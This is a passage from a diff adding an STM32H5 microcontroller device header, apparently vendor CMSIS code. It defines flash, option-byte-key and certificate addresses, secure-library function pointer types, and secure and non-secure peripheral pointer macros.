0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0x44024000UL) +#define PACKAGE_BASE (0x08FFF80EUL) /*!< Package data register base address */ +#define UID_BASE (0x08FFF800UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x08FFF80CUL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x08FFF000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x800U) /*!< 2048 bytes OTP (one-time programmable) */ + +/* Flash system Area */ +#define FLASH_SYSTEM_BASE_NS (0x0BF80000UL) /*!< FLASH System non-secure base address */ +#define FLASH_SYSTEM_BASE_S (0x0FF80000UL) /*!< FLASH System secure base address */ +#define FLASH_SYSTEM_SIZE (0x10000U) /*!< 64 Kbytes system Flash */ + +/* Internal Flash EDATA Area */ +#define FLASH_EDATA_BASE_NS (0x09000000UL) /*!< FLASH high-cycle data non-secure base address */ +#define FLASH_EDATA_BASE_S (0x0D000000UL) /*!< FLASH high-cycle data secure base address */ +#define FLASH_EDATA_SIZE (0x18000U) /*!< 96 KB of Flash high-cycle data */ + +/* Internal Flash OBK Area */ +#define FLASH_OBK_BASE_NS (0x0BFD0000UL) /*!< FLASH OBK (option byte keys) non-secure base address */ +#define FLASH_OBK_BASE_S (0x0FFD0000UL) /*!< FLASH OBK (option byte keys) secure base address */ +#define FLASH_OBK_SIZE (0x2000U) /*!< 8 KB of option byte keys */ +#define FLASH_OBK_HDPL0_SIZE (0x100U) /*!< 256 Bytes of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL1_BASE_NS (FLASH_OBK_BASE_NS + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 non-secure base address */ +#define FLASH_OBK_HDPL1_BASE_S (FLASH_OBK_BASE_S + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 secure base address */ +#define FLASH_OBK_HDPL1_SIZE (0x800U) /*!< 2 KB of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL2_BASE_NS (FLASH_OBK_HDPL1_BASE_NS + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 non-secure base address */ +#define FLASH_OBK_HDPL2_BASE_S (FLASH_OBK_HDPL1_BASE_S + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 secure base address */ +#define FLASH_OBK_HDPL2_SIZE (0x300U) /*!< 768 Bytes of HDPL2 option byte keys */ + +#define FLASH_OBK_HDPL3_BASE_NS (FLASH_OBK_HDPL2_BASE_NS + FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3_BASE_S (FLASH_OBK_HDPL2_BASE_S + FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3_SIZE (0x13F0U) /*!< 5104 Bytes HDPL3 option byte keys */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) +#define FLASH_OBK_HDPL3S_BASE_NS (FLASH_OBK_HDPL3_BASE_NS) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3S_BASE_S (FLASH_OBK_HDPL3_BASE_S) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3S_SIZE (0x0C00U) /*!< 3072 Bytes of secure HDPL3 option byte keys */ + +#define FLASH_OBK_HDPL3NS_BASE_NS (FLASH_OBK_HDPL3_BASE_NS + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3NS_BASE_S (FLASH_OBK_HDPL3_BASE_S + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3NS_SIZE (FLASH_OBK_HDPL3_SIZE - FLASH_OBK_HDPL3S_SIZE) /*!< 2032 Bytes of non-secure HDPL3 option byte keys */ +#endif /* CMSE */ + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB68UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB84UL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE (0xBF9FB68UL) +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it jumps to the non-secure reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3NS_TypeDef)(uint32_t VectorTableAddr); + +/** + * @brief Input parameter definition of RSSLIB_DataProvisioning + */ +typedef struct +{ + uint32_t *pSource; /*!< Address of the Data to be provisioned, shall be in SRAM3 */ + uint32_t *pDestination; /*!< Address in OBKeys sections where to provision Data */ + uint32_t Size; /*!< Size in bytes of the Data to be provisioned*/ + uint32_t DoEncryption; /*!< Notifies RSSLIB_DataProvisioning to encrypt or not Data*/ + uint32_t Crc; /*!< CRC over full Data buffer and previous field in the structure*/ +} RSSLIB_DataProvisioningConf_t; + +/** + * @brief Prototype of RSSLIB Data Provisioning Function + * @detail This function write Data within OBKeys sections. + * @param pointer on the structure defining Data to be provisioned and where to + * provision them within OBKeys sections. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_NSC_DataProvisioning_TypeDef)(RSSLIB_DataProvisioningConf_t *pConfig); + + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM RSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; + __IM RSSLIB_S_JumpHDPlvl3NS_TypeDef JumpHDPLvl3NS; +} S_pFuncTypeDef; + +/** + * @brief RSSLib Non-secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_NSC_DataProvisioning_TypeDef DataProvisioning; +} NSC_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + uint32_t RESERVED1[3]; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/*!< Non Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define NSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB6CUL) +#define NSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB74UL) + +/************ RSSLIB function return constants ********************************/ +#define NSSLIB_ERROR (0xF5F5F5F5UL) +#define NSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define NSSLIB_PFUNC_BASE (0xBF9FB6CUL) +#define NSSLIB_PFUNC ((NSSLIB_pFunc_TypeDef *)NSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM NSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM NSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; +} NSSLIB_pFunc_TypeDef; + +/* + * Certificate address description + */ +#define CERT_CHIP_PACK1_ADDR (0x0BF9FE00U) +#define CERT_CHIP_PACK1_SIZE (0x200U) +#define CERT_CHIP_PACK2_ADDR (0x0BF9FC00U) +#define CERT_CHIP_PACK2_SIZE (0x200U) + +#define CERT_CHIP_PACK_ADDR (CERT_CHIP_PACK2_ADDR) +#define CERT_CHIP_PACK_SIZE (CERT_CHIP_PACK1_SIZE + CERT_CHIP_PACK2_SIZE) + +#define CERT_ST_DUA_INIT_ATTEST_PUB_KEY_OFFSET (152U) +#define CERT_ST_DUA_INIT_ATTEST_PUB_KEY_ADDR (CERT_CHIP_PACK1_ADDR + CERT_ST_DUA_INIT_ATTEST_PUB_KEY_OFFSET) +#define CERT_ST_DUA_INIT_ATTEST_SIGN_OFFSET (216U) +#define CERT_ST_DUA_INIT_ATTEST_SIGN_ADDR (CERT_CHIP_PACK1_ADDR + CERT_ST_DUA_INIT_ATTEST_SIGN_OFFSET) +#define CERT_ST_DUA_INIT_ATTEST_SERIAL_OFFSET (484U) +#define CERT_ST_DUA_INIT_ATTEST_SERIAL_ADDR (CERT_CHIP_PACK1_ADDR + CERT_ST_DUA_INIT_ATTEST_SERIAL_OFFSET) + +#define CERT_ST_DUA_USER_PUB_KEY_OFFSET (12U) +#define CERT_ST_DUA_USER_PUB_KEY_ADDR (CERT_CHIP_PACK2_ADDR + CERT_ST_DUA_USER_PUB_KEY_OFFSET) +#define CERT_ST_DUA_USER_SIGN_OFFSET (76U) +#define CERT_ST_DUA_USER_SIGN_ADDR (CERT_CHIP_PACK2_ADDR + CERT_ST_DUA_USER_SIGN_OFFSET) +#define CERT_ST_DUA_USER_SERIAL_OFFSET (140U) +#define CERT_ST_DUA_USER_SERIAL_ADDR (CERT_CHIP_PACK2_ADDR + CERT_ST_DUA_USER_SERIAL_OFFSET) + +/** @} */ /* End of group STM32H5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *)TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *)TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *)TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *)TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *)TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *)TIM7_BASE_NS) +#define TIM12_NS ((TIM_TypeDef *)TIM12_BASE_NS) +#define TIM13_NS ((TIM_TypeDef *)TIM13_BASE_NS) +#define TIM14_NS ((TIM_TypeDef *)TIM14_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *)WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *)IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *)SPI2_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *)SPI3_BASE_NS) +#define USART2_NS ((USART_TypeDef *)USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *)USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *)UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *)UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *)I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *)I2C2_BASE_NS) +#define I3C1_NS ((I3C_TypeDef *)I3C1_BASE_NS) +#define CRS_NS ((CRS_TypeDef *)CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *)USART6_BASE_NS) +#define CEC_NS ((CEC_TypeDef *)CEC_BASE_NS) +#define DTS_NS ((DTS_TypeDef *)DTS_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *)LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_NS) +#define FDCAN2_NS ((FDCAN_GlobalTypeDef *)FDCAN2_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *)UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define SPI4_NS ((SPI_TypeDef *) SPI4_BASE_NS) +#define USB_DRD_FS_NS ((USB_DRD_TypeDef *) USB_DRD_BASE_NS) +#define USB_DRD_PMA_BUFF_NS ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA2_NS ((DMA_TypeDef *) GPDMA2_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA2_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_NS) +#define GPDMA2_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_NS) +#define GPDMA2_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_NS) +#define GPDMA2_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_NS) +#define GPDMA2_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_NS) +#define GPDMA2_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_NS) +#define GPDMA2_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_NS) +#define GPDMA2_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define AES_NS ((AES_TypeDef *) AES_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SAES_NS ((AES_TypeDef *) SAES_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) + + +/*!< APB3 Non secure peripherals */ +#define SBS_NS ((SBS_TypeDef *) SBS_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define I3C2_NS ((I3C_TypeDef *) I3C2_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) + +/*!< AHB4 Non secure peripherals */ +#define OTFDEC1_NS ((OTFDEC_TypeDef *) OTFDEC1_BASE_NS) +#define OTFDEC1_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_NS) +#define OTFDEC1_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_NS) +#define OTFDEC1_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_NS) +#define OTFDEC1_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) + +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *)TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *)TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *)TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *)TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *)TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *)TIM7_BASE_S) +#define TIM12_S ((TIM_TypeDef *)TIM12_BASE_S) +#define WWDG_S ((WWDG_TypeDef *)WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *)IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *)SPI2_BASE_S) +#define SPI3_S ((SPI_TypeDef *)SPI3_BASE_S) +#define USART2_S ((USART_TypeDef *)USART2_BASE_S) +#define USART3_S ((USART_TypeDef *)USART3_BASE_S) +#define UART4_S ((USART_TypeDef *)UART4_BASE_S) +#define UART5_S ((USART_TypeDef *)UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *)I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *)I2C2_BASE_S) +#define I3C1_S ((I3C_TypeDef *)I3C1_BASE_S) +#define CRS_S ((CRS_TypeDef *)CRS_BASE_S) +#define USART6_S ((USART_TypeDef *)USART6_BASE_S) +#define CEC_S ((CEC_TypeDef *)CEC_BASE_S) +#define DTS_S ((DTS_TypeDef *)DTS_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *)LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_S) +#define FDCAN2_S ((FDCAN_GlobalTypeDef *)FDCAN2_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *)UCPD1_BASE_S) + +/*!< APB2 secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define SPI4_S ((SPI_TypeDef *) SPI4_BASE_S) +#define USB_DRD_FS_S ((USB_DRD_TypeDef *)USB_DRD_BASE_S) +#define USB_DRD_PMA_BUFF_S ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_S) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA2_S ((DMA_TypeDef *) GPDMA2_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA2_Channel0_S ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_S) +#define GPDMA2_Channel1_S ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_S) +#define GPDMA2_Channel2_S ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_S) +#define GPDMA2_Channel3_S ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_S) +#define GPDMA2_Channel4_S ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_S) +#define GPDMA2_Channel5_S ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_S) +#define GPDMA2_Channel6_S ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_S) +#define GPDMA2_Channel7_S ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_S) + + +/*!< AHB2 secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define AES_S ((AES_TypeDef *) AES_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SAES_S ((AES_TypeDef *) SAES_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) + +/*!< APB3 secure peripherals */ +#define SBS_S ((SBS_TypeDef *) SBS_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define I3C2_S ((I3C_TypeDef *) I3C2_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) + +/*!< AHB4 secure peripherals */ +#define OTFDEC1_S ((OTFDEC_TypeDef *) OTFDEC1_BASE_S) +#define OTFDEC1_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_S) 